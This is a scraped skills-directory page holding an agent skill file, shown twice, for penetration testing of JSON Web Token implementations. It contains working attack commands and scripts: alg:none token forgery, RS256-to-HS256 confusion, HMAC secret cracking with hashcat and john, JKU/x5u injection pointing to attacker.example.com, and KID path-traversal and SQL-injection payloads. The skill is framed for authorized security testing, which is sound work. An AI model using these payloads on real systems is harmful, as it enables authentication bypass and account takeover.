[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E6NMVAPHSPJ2P752P2MYJQ":3,"skill-same:01M7E6NMVAPHSPJ2P752P2MYJQ":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7E6NMVAPHSPJ2P752P2MYJQ","testing-jwt-token-security",null,"Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-jwt-token-security\ndescription: Assessing JSON Web Token implementations for cryptographic weaknesses,\n  algorithm confusion attacks, and authorization bypass vulnerabilities during security\n  engagements.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- jwt\n- authentication\n- web-security\n- token-security\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n","# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","jwt","authentication","web-security","token-security","burpsuite","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45,46],"T1190","T1059.007","T1505.003","T1083","T1027","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill testing-jwt-token-security",{"tool":61,"command":62},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill testing-jwt-token-security",{"tool":64,"command":65},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill testing-jwt-token-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2117,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",10166,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-jwt-token-security\u002Fscripts\u002Fagent.py",[86,94,102,110,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, 